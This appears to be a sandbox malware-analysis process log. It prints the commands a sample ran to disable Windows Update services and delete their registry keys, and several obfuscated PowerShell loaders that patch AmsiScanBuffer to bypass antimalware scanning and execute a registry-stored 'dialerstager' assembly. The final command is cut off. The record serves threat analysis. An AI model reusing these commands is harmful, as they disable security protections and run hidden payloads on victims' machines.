C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-dc 03⤵
-
-
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-ac 03⤵
-
-
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-dc 03⤵
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
-
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵
-
-
-
C:\Windows\System32\dialer.exeC:\Windows\System32\dialer.exe2⤵
-
-
C:\Windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵
-
C:\Windows\sysmon.exeC:\Windows\sysmon.exe1⤵
-
C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵
-
C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "function Local:NUSXowEmuEqF{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$MSCifHwpggfEcI,[Parameter(Position=1)][Type]$SeDtSGgMHF)$juatRxwMkTd=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+[Char](101)+''+[Char](102)+''+'l'+'ec'+'t'+''+[Char](101)+'d'+'D'+''+[Char](101)+'le'+'g'+''+'a'+'t'+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+[Char](77)+''+[Char](101)+''+[Char](109)+''+'o'+''+'r'+''+[Char](121)+''+[Char](77)+''+[Char](111)+''+'d'+'ul'+[Char](101)+'',$False).DefineType('M'+[Char](121)+''+[Char](68)+''+[Char](101)+''+[Char](108)+''+[Char](101)+'g'+[Char](97)+''+'t'+''+[Char](101)+''+[Char](84)+''+[Char](121)+''+'p'+'e',''+[Char](67)+''+[Char](108)+''+[Char](97)+'s'+'s'+','+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+'c'+','+''+'S'+''+[Char](101)+'ale'+'d'+''+[Char](44)+''+[Char](65)+''+[Char](110)+''+[Char](115)+''+'i'+''+[Char](67)+''+[Char](108)+''+'a'+'s'+'s'+''+[Char](44)+'Aut'+'o'+''+[Char](67)+''+'l'+'a'+[Char](115)+'s',[MulticastDelegate]);$juatRxwMkTd.DefineConstructor(''+'R'+''+[Char](84)+''+[Char](83)+''+[Char](112)+''+[Char](101)+''+[Char](99)+''+[Char](105)+'al'+[Char](78)+''+[Char](97)+''+[Char](109)+''+'e'+''+[Char](44)+''+'H'+''+'i'+'d'+[Char](101)+'By'+[Char](83)+''+[Char](105)+''+'g'+''+[Char](44)+''+'P'+''+[Char](117)+''+'b'+'l'+[Char](105)+''+'c'+'',[Reflection.CallingConventions]::Standard,$MSCifHwpggfEcI).SetImplementationFlags(''+[Char](82)+''+'u'+''+[Char](110)+''+'t'+''+[Char](105)+'m'+[Char](101)+','+'M'+''+[Char](97)+'na'+'g'+'e'+'d'+'');$juatRxwMkTd.DefineMethod(''+[Char](73)+'n'+[Char](118)+''+[Char](111)+''+[Char](107)+''+[Char](101)+'','P'+[Char](117)+''+'b'+''+'l'+''+[Char](105)+''+'c'+','+[Char](72)+''+'i'+'d'+'e'+'B'+[Char](121)+''+[Char](83)+''+'i'+''+[Char](103)+''+[Char](44)+'New'+[Char](83)+''+'l'+'o'+'t'+''+','+''+[Char](86)+''+'i'+''+[Char](114)+''+[Char](116)+''+'u'+'al',$SeDtSGgMHF,$MSCifHwpggfEcI).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+[Char](105)+'m'+'e'+','+[Char](77)+'a'+'n'+''+[Char](97)+''+[Char](103)+''+'e'+''+[Char](100)+'');Write-Output $juatRxwMkTd.CreateType();}$rqZPZBzKBKLqy=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+[Char](121)+'s'+'t'+''+[Char](101)+''+[Char](109)+''+'.'+''+'d'+''+[Char](108)+''+[Char](108)+'')}).GetType(''+[Char](77)+'i'+[Char](99)+'r'+[Char](111)+''+'s'+''+[Char](111)+''+[Char](102)+'t'+[Char](46)+'W'+'i'+''+[Char](110)+''+'3'+'2'+'.'+''+[Char](85)+'n'+[Char](115)+''+[Char](97)+''+[Char](102)+''+[Char](101)+''+'r'+''+'q'+''+[Char](90)+'P'+[Char](90)+''+[Char](66)+''+[Char](122)+''+'K'+'B'+'K'+''+[Char](76)+'q'+'y'+'');$kFLzYFUbuDshCx=$rqZPZBzKBKLqy.GetMethod(''+[Char](107)+'FL'+'z'+''+'Y'+'FU'+[Char](98)+''+[Char](117)+''+[Char](68)+''+'s'+''+'h'+''+[Char](67)+''+'x'+'',[Reflection.BindingFlags]''+[Char](80)+''+[Char](117)+''+[Char](98)+''+'l'+''+[Char](105)+''+'c'+''+[Char](44)+''+[Char](83)+'ta'+[Char](116)+'ic',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$xQkRezmyYJPnEIQQPnu=NUSXowEmuEqF @([String])([IntPtr]);$DwdwuTHSbyQAIXqOFrltyC=NUSXowEmuEqF @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$MGzCfKeQWTq=$rqZPZBzKBKLqy.GetMethod(''+[Char](71)+'e'+[Char](116)+'M'+[Char](111)+''+[Char](100)+''+'u'+''+'l'+''+[Char](101)+''+'H'+''+[Char](97)+''+'n'+''+[Char](100)+'l'+'e'+'').Invoke($Null,@([Object](''+'k'+''+[Char](101)+''+[Char](114)+''+[Char](110)+'e'+[Char](108)+''+'3'+''+'2'+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')));$jPGpVLQnaPHdyN=$kFLzYFUbuDshCx.Invoke($Null,@([Object]$MGzCfKeQWTq,[Object](''+[Char](76)+''+[Char](111)+''+[Char](97)+''+[Char](100)+''+'L'+'i'+'b'+''+[Char](114)+'a'+'r'+''+[Char](121)+''+[Char](65)+'')));$hPyWBydHZGYfMmvIJ=$kFLzYFUbuDshCx.Invoke($Null,@([Object]$MGzCfKeQWTq,[Object](''+[Char](86)+''+[Char](105)+''+[Char](114)+''+[Char](116)+'u'+[Char](97)+''+'l'+''+[Char](80)+''+[Char](114)+'ot'+[Char](101)+''+[Char](99)+''+[Char](116)+'')));$daIyWTD=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($jPGpVLQnaPHdyN,$xQkRezmyYJPnEIQQPnu).Invoke('a'+[Char](109)+''+'s'+''+[Char](105)+'.'+'d'+''+'l'+'l');$sZTFGLGOQRaBlDrJV=$kFLzYFUbuDshCx.Invoke($Null,@([Object]$daIyWTD,[Object](''+[Char](65)+''+[Char](109)+''+[Char](115)+''+[Char](105)+''+[Char](83)+'c'+[Char](97)+''+'n'+''+'B'+''+[Char](117)+''+[Char](102)+''+[Char](102)+''+[Char](101)+''+[Char](114)+'')));$wenMIHelgH=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($hPyWBydHZGYfMmvIJ,$DwdwuTHSbyQAIXqOFrltyC).Invoke($sZTFGLGOQRaBlDrJV,[uint32]8,4,[ref]$wenMIHelgH);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$sZTFGLGOQRaBlDrJV,8);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($hPyWBydHZGYfMmvIJ,$DwdwuTHSbyQAIXqOFrltyC).Invoke($sZTFGLGOQRaBlDrJV,[uint32]8,0x20,[ref]$wenMIHelgH);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+[Char](79)+''+[Char](70)+''+[Char](84)+''+[Char](87)+''+[Char](65)+''+[Char](82)+'E').GetValue(''+[Char](100)+''+'i'+''+[Char](97)+''+[Char](108)+''+[Char](101)+''+'r'+''+[Char](115)+''+[Char](116)+'a'+'g'+''+[Char](101)+''+'r'+'')).EntryPoint.Invoke($Null,$Null)2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:WHMxFuvGbYIJ{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$jgTFBDJakecXGo,[Parameter(Position=1)][Type]$CtKFziWJgL)$asAapcHTSHN=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+[Char](101)+'fl'+[Char](101)+''+[Char](99)+''+[Char](116)+'e'+'d'+''+[Char](68)+'e'+[Char](108)+''+[Char](101)+'g'+'a'+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+''+'n'+'Me'+'m'+''+[Char](111)+'r'+[Char](121)+'M'+'o'+''+'d'+''+[Char](117)+''+[Char](108)+''+[Char](101)+'',$False).DefineType('M'+'y'+'D'+[Char](101)+''+[Char](108)+''+'e'+''+[Char](103)+''+[Char](97)+''+[Char](116)+'e'+[Char](84)+''+'y'+''+[Char](112)+''+[Char](101)+'',''+[Char](67)+''+[Char](108)+''+[Char](97)+'s'+'s'+''+','+''+[Char](80)+'u'+'b'+'l'+'i'+''+[Char](99)+''+[Char](44)+'S'+[Char](101)+'a'+[Char](108)+''+'e'+''+[Char](100)+''+','+'A'+'n'+''+[Char](115)+''+[Char](105)+''+'C'+''+[Char](108)+'a'+'s'+''+[Char](115)+''+[Char](44)+''+'A'+''+[Char](117)+''+'t'+'oCl'+[Char](97)+'s'+[Char](115)+'',[MulticastDelegate]);$asAapcHTSHN.DefineConstructor('R'+[Char](84)+'Sp'+[Char](101)+''+'c'+''+[Char](105)+''+[Char](97)+''+[Char](108)+''+[Char](78)+''+[Char](97)+''+'m'+''+'e'+''+','+'H'+[Char](105)+''+[Char](100)+''+[Char](101)+''+[Char](66)+''+[Char](121)+''+[Char](83)+''+[Char](105)+''+'g'+''+[Char](44)+''+'P'+''+'u'+''+[Char](98)+''+[Char](108)+''+[Char](105)+'c',[Reflection.CallingConventions]::Standard,$jgTFBDJakecXGo).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+[Char](105)+''+'m'+''+'e'+''+','+'Ma'+'n'+''+[Char](97)+''+[Char](103)+''+'e'+'d');$asAapcHTSHN.DefineMethod(''+[Char](73)+''+[Char](110)+''+[Char](118)+''+[Char](111)+''+[Char](107)+'e',''+[Char](80)+''+'u'+''+[Char](98)+'l'+'i'+'c'+[Char](44)+'Hi'+'d'+''+[Char](101)+'B'+[Char](121)+''+[Char](83)+''+[Char](105)+''+[Char](103)+','+[Char](78)+''+'e'+''+'w'+'S'+'l'+''+[Char](111)+''+[Char](116)+''+[Char](44)+'V'+[Char](105)+'rt'+[Char](117)+''+[Char](97)+''+'l'+'',$CtKFziWJgL,$jgTFBDJakecXGo).SetImplementationFlags(''+'R'+''+[Char](117)+'n'+'t'+'i'+[Char](109)+''+'e'+''+','+''+[Char](77)+''+[Char](97)+''+[Char](110)+''+'a'+''+'g'+''+[Char](101)+''+'d'+'');Write-Output $asAapcHTSHN.CreateType();}$ocFMVpKQLVtYb=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+[Char](121)+''+[Char](115)+''+'t'+''+'e'+''+[Char](109)+''+'.'+'dl'+[Char](108)+'')}).GetType(''+'M'+''+'i'+''+[Char](99)+''+[Char](114)+''+'o'+''+[Char](115)+''+'o'+''+[Char](102)+''+[Char](116)+''+'.'+''+'W'+''+[Char](105)+''+[Char](110)+''+'3'+''+[Char](50)+''+'.'+''+'U'+''+[Char](110)+''+[Char](115)+'a'+[Char](102)+''+[Char](101)+''+[Char](111)+''+'c'+'F'+[Char](77)+''+[Char](86)+''+'p'+''+'K'+''+[Char](81)+''+[Char](76)+''+[Char](86)+''+[Char](116)+''+[Char](89)+'b');$adDlvrqfcOQENH=$ocFMVpKQLVtYb.GetMethod(''+[Char](97)+''+[Char](100)+''+[Char](68)+''+'l'+'v'+[Char](114)+''+[Char](113)+''+[Char](102)+''+[Char](99)+'O'+'Q'+'E'+[Char](78)+''+'H'+'',[Reflection.BindingFlags]''+'P'+''+[Char](117)+''+[Char](98)+'l'+[Char](105)+'c'+[Char](44)+'St'+[Char](97)+''+[Char](116)+''+[Char](105)+''+[Char](99)+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$NqxpRjZLbcInqMOofGy=WHMxFuvGbYIJ @([String])([IntPtr]);$CPUHTIDyZDnIMEFPtdmbCD=WHMxFuvGbYIJ @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$AiosDxRPQsm=$ocFMVpKQLVtYb.GetMethod(''+'G'+''+[Char](101)+''+[Char](116)+''+[Char](77)+''+[Char](111)+'du'+[Char](108)+''+[Char](101)+''+[Char](72)+''+'a'+'n'+'d'+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+'er'+'n'+''+'e'+''+[Char](108)+'3'+[Char](50)+''+[Char](46)+'d'+'l'+''+[Char](108)+'')));$EPPTVOPcpiOwTI=$adDlvrqfcOQENH.Invoke($Null,@([Object]$AiosDxRPQsm,[Object]('L'+'o'+'a'+'d'+'L'+'i'+''+'b'+'rar'+'y'+''+[Char](65)+'')));$DuuLyiqcxkhszjrKh=$adDlvrqfcOQENH.Invoke($Null,@([Object]$AiosDxRPQsm,[Object](''+'V'+'i'+[Char](114)+''+[Char](116)+'ua'+'l'+''+[Char](80)+''+'r'+''+[Char](111)+''+[Char](116)+''+[Char](101)+''+[Char](99)+''+'t'+'')));$OBVceui=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($EPPTVOPcpiOwTI,$NqxpRjZLbcInqMOofGy).Invoke(''+[Char](97)+'ms'+[Char](105)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+'l'+'');$YhhKkqIdnnUztRkTb=$adDlvrqfcOQENH.Invoke($Null,@([Object]$OBVceui,[Object]('Am'+'s'+''+[Char](105)+''+'S'+''+[Char](99)+''+[Char](97)+''+[Char](110)+'B'+'u'+''+[Char](102)+''+[Char](102)+''+[Char](101)+''+[Char](114)+'')));$fglmIQXcfW=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DuuLyiqcxkhszjrKh,$CPUHTIDyZDnIMEFPtdmbCD).Invoke($YhhKkqIdnnUztRkTb,[uint32]8,4,[ref]$fglmIQXcfW);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$YhhKkqIdnnUztRkTb,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DuuLyiqcxkhszjrKh,$CPUHTIDyZDnIMEFPtdmbCD).Invoke($YhhKkqIdnnUztRkTb,[uint32]8,0x20,[ref]$fglmIQXcfW);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+[Char](70)+''+'T'+'WA'+[Char](82)+''+[Char](69)+'').GetValue('d'+[Char](105)+''+'a'+''+'l'+''+[Char](101)+''+[Char](114)+''+[Char](115)+''+'t'+''+[Char](97)+''+[Char](103)+''+'e'+''+'r'+'')).EntryPoint.Invoke($Null,$Null)2⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "function Local:DOAdBvBCrVOH{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$rCqfCiycYVkkLX,[Parameter(Position=1)][Type]$KZnDqHcHOe)$KCEaIwzfmVx=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+'e'+''+'f'+''+[Char](108)+''+'e'+'c'+[Char](116)+''+'e'+'dD'+'e'+''+[Char](108)+'ega'+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+''+'n'+'M'+[Char](101)+'m'+'o'+''+[Char](114)+''+[Char](121)+''+[Char](77)+'o'+[Char](100)+'ul'+[Char](101)+'',$False).DefineType(''+[Char](77)+''+[Char](121)+'D'+[Char](101)+''+[Char](108)+''+[Char](101)+'gate'+[Char](84)+'y'+'p'+''+[Char](101)+'',''+'C'+''+'l'+'ass'+[Char](44)+''+[Char](80)+''+'u'+'b'+[Char](108)+'i'+[Char](99)+','+[Char](83)+''+[Char](101)+'a'+[Char](108)+''+'e'+''+'d'+''+','+''+[Char](65)+''+'n'+''+[Char](115)+''+[Char](105)+'Cla'+[Char](115)+'s'+[Char](44)+''+[Char](65)+'utoC'+[Char](108)+''+'a'+''+'s'+''+[Char](115)+'',[MulticastDelegate]);$KCEaIwzfmVx.DefineConstructor(''+[Char](82)+''+'T'+''+'S'+'p'+[Char](101)+'c'+[Char](105)+''+'a'+''+[Char](108)+''+[Char](78)+''+[Char](97)+'m'+[Char](101)+''+[Char](44)+''+'H'+''+[Char](105)+''+'d'+''+'e'+'B'+'y'+''+[Char](83)+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+'P'+''+[Char](117)+''+'b'+''+'l'+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$rCqfCiycYVkkLX).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+'t'+''+[Char](105)+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+[Char](97)+''+'n'+''+[Char](97)+'g'+[Char](101)+''+[Char](100)+'');$KCEaIwzfmVx.DefineMethod('I'+'n'+'vo'+'k'+''+'e'+'',''+[Char](80)+''+[Char](117)+''+[Char](98)+''+'l'+''+'i'+''+[Char](99)+''+','+''+[Char](72)+''+[Char](105)+'d'+[Char](101)+''+[Char](66)+''+[Char](121)+'S'+[Char](105)+''+[Char](103)+''+[Char](44)+'New'+'S'+'l'+'o'+''+'t'+',V'+[Char](105)+''+[Char](114)+''+[Char](116)+''+[Char](117)+'a'+'l'+'',$KZnDqHcHOe,$rCqfCiycYVkkLX).SetImplementationFlags('R'+[Char](117)+''+'n'+''+[Char](116)+''+'i'+''+[Char](109)+''+[Char](101)+''+','+'M'+[Char](97)+''+'n'+''+[Char](97)+''+[Char](103)+''+[Char](101)+'d');Write-Output $KCEaIwzfmVx.CreateType();}$ZbTNrUeaSoweX=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+'y'+''+[Char](115)+''+[Char](116)+'e'+[Char](109)+'.'+'d'+'l'+[Char](108)+'')}).GetType(''+[Char](77)+'ic'+[Char](114)+''+[Char](111)+'sof'+[Char](116)+''+'.'+'W'+[Char](105)+''+[Char](110)+''+'3'+'2'+[Char](46)+''+[Char](85)+''+'n'+'s'+[Char](97)+''+[Char](102)+''+[Char](101)+'Z'+'b'+''+[Char](84)+'N'+[Char](114)+''+[Char](85)+'e'+[Char](97)+'S'+[Char](111)+''+'w'+''+'e'+'X');$ULYFXvdklWcjmL=$ZbTNrUeaSoweX.GetMethod(''+[Char](85)+'LYF'+[Char](88)+''+[Char](118)+''+[Char](100)+''+'k'+''+'l'+''+'W'+''+[Char](99)+''+'j'+''+[Char](109)+''+[Char](76)+'',[Reflection.BindingFlags]''+'P'+''+[Char](117)+'b'+[Char](108)+'i'+[Char](99)+''+','+'Stati'+[Char](99)+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$rMSOSAcOhhKuQzKpFiU=DOAdBvBCrVOH @([String])([IntPtr]);$wSIEDLIlFGwtTIkvjMABHT=DOAdBvBCrVOH @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$hbqDeuveuhv=$ZbTNrUeaSoweX.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+'M'+'od'+[Char](117)+''+[Char](108)+''+[Char](101)+''+[Char](72)+''+[Char](97)+''+[Char](110)+'d'+'l'+''+[Char](101)+'').Invoke($Null,@([Object](''+'k'+''+[Char](101)+''+'r'+''+'n'+''+[Char](101)+''+'l'+'32.'+'d'+'l'+[Char](108)+'')));$FstHsiqVoiwCam=$ULYFXvdklWcjmL.Invoke($Null,@([Object]$hbqDeuveuhv,[Object]('L'+[Char](111)+'ad'+[Char](76)+''+[Char](105)+''+'b'+''+'r'+''+'a'+'ry'+[Char](65)+'')));$fNtHAuuxUHsmWtSAK=$ULYFXvdklWcjmL.Invoke($Null,@([Object]$hbqDeuveuhv,[Object]('V'+[Char](105)+'r'+'t'+''+'u'+''+[Char](97)+''+[Char](108)+''+[Char](80)+'rot'+[Char](101)+''+[Char](99)+'t')));$bwjVdFE=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FstHsiqVoiwCam,$rMSOSAcOhhKuQzKpFiU).Invoke(''+'a'+''+'m'+''+[Char](115)+''+[Char](105)+'.'+'d'+''+[Char](108)+''+[Char](108)+'');$LrHAINEOsXGNigxML=$ULYFXvdklWcjmL.Invoke($Null,@([Object]$bwjVdFE,[Object](''+[Char](65)+''+[Char](109)+''+[Char](115)+''+[Char](105)+''+[Char](83)+''+[Char](99)+'a'+[Char](110)+''+'B'+''+[Char](117)+''+'f'+''+[Char](102)+''+'e'+''+[Char](114)+'')));$HqwbsWlDXi=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($fNtHAuuxUHsmWtSAK,$wSIEDLIlFGwtTIkvjMABHT).Invoke($LrHAINEOsXGNigxML,[uint32]8,4,[ref]$HqwbsWlDXi);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$LrHAINEOsXGNigxML,8);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($fNtHAuuxUHsmWtSAK,$wSIEDLIlFGwtTIkvjMABHT).Invoke($LrHAINEOsXGNigxML,[uint32]8,0x20,[ref]$HqwbsWlDXi);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+'O'+'F'+'T'+''+[Char](87)+'AR'+[Char](69)+'').GetValue(''+[Char](100)+'i'+[Char](97)+''+[Char](108)+''+[Char](101)+'rs'+[Char](116)+''+[Char](97)+''+[Char](103)+'e'+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:SJaPUaSSGdAh{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$jRcDmpGIjiMtOF,[Parameter(Position=1)][Type]$qBEwNbVVqW)$uyrqOJLaZPq=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+'e'+''+[Char](102)+''+'l'+''+[Char](101)+'c'+[Char](116)+'e'+'d'+''+[Char](68)+''+[Char](101)+'l'+'e'+'ga'+'t'+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+[Char](110)+'M'+[Char](101)+''+[Char](109)+''+'o'+''+[Char](114)+''+[Char](121)+''+[Char](77)+''+[Char](111)+'d'+[Char](117)+''+[Char](108)+''+[Char](101)+'',$False).DefineType(''+'M'+''+[Char](121)+'De'+[Char](108)+'eg'+[Char](97)+'t'+[Char](101)+''+'T'+''+[Char](121)+''+[Char](112)+'e',''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+'s'+''+','+''+[Char](80)+''+'u'+''+[Char](98)+'lic'+[Char](44)+''+'S'+'eal'+'e'+''+[Char](100)+''+[Char](44)+''+[Char](65)+''+[Char](110)+''+[Char](115)+'i'+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+'s'+','+''+[Char](65)+''+'u'+'t'+[Char](111)+'C'+[Char](108)+''+[Char](97)+''+[Char](115)+''+'s'+'',[MulticastDelegate]);$uyrqOJLaZPq.DefineConstructor(''+[Char](82)+''+[Char](84)+''+[Char](83)+''+'p'+''+[Char](101)+''+[Char](99)+'i'+[Char](97)+''+[Char](108)+''+[Char](78)+'ame'+[Char](44)+''+'H'+''+'i'+''+[Char](100)+''+[Char](101)+''+[Char](66)+'y'+[Char](83)+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+'P'+''+'u'+''+[Char](98)+''+[Char](108)+''+'i'+''+'c'+'',[Reflection.CallingConventions]::Standard,$jRcDmpGIjiMtOF).SetImplementationFlags(''+[Char](82)+''+'u'+''+[Char](110)+'t'+'i'+''+[Char](109)+''+'e'+''+[Char](44)+''+[Char](77)+'a'+[Char](110)+'a'+[Char](103)+''+[Char](101)+''+[Char](100)+'');$uyrqOJLaZPq.DefineMethod('I'+[Char](110)+''+[Char](118)+''+[Char](111)+''+'k'+''+[Char](101)+'',''+[Char](80)+''+'u'+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+','+'H'+'i'+''+'d'+''+'e'+''+[Char](66)+''+'y'+''+[Char](83)+''+[Char](105)+''+'g'+''+[Char](44)+''+'N'+''+'e'+''+'w'+'S'+[Char](108)+''+[Char](111)+''+[Char](116)+''+[Char](44)+''+[Char](86)+''+[Char](105)+''+'r'+''+[Char](116)+''+[Char](117)+''+[Char](97)+''+[Char](108)+'',$qBEwNbVVqW,$jRcDmpGIjiMtOF).SetImplementationFlags(''+'R'+'u'+[Char](110)+''+[Char](116)+'i'+[Char](109)+''+'e'+''+[Char](44)+''+'M'+''+[Char](97)+''+'n'+''+[Char](97)+'g'+'e'+''+[Char](100)+'');Write-Output $uyrqOJLaZPq.CreateType();}$GycDkfaYcDJST=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+'y'+'st'+'e'+''+[Char](109)+''+'.'+''+[Char](100)+'l'+'l'+'')}).GetType(''+'M'+''+[Char](105)+''+'c'+'ro'+[Char](115)+''+[Char](111)+'f'+[Char](116)+''+[Char](46)+''+'W'+''+[Char](105)+''+[Char](110)+'3'+'2'+'.U'+'n'+''+'s'+''+[Char](97)+''+[Char](102)+'eGy'+[Char](99)+''+[Char](68)+''+'k'+'f'+[Char](97)+''+'Y'+''+'c'+''+[Char](68)+''+[Char](74)+''+[Char](83)+''+[Char](84)+'');$yPEembecgoZkMU=$GycDkfaYcDJST.GetMethod(''+'y'+'P'+[Char](69)+''+'e'+''+'m'+''+[Char](98)+'e'+[Char](99)+'go'+'Z'+'k'+'M'+''+'U'+'',[Reflection.BindingFlags]''+[Char](80)+''+[Char](117)+''+[Char](98)+'l'+'i'+''+[Char](99)+',S'+'t'+'a'+'t'+''+'i'+''+[Char](99)+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$iKMhXcLfynFvXJxxRxN=SJaPUaSSGdAh @([String])([IntPtr]);$QIvESlKQpeXnQvBBgDWNao=SJaPUaSSGdAh 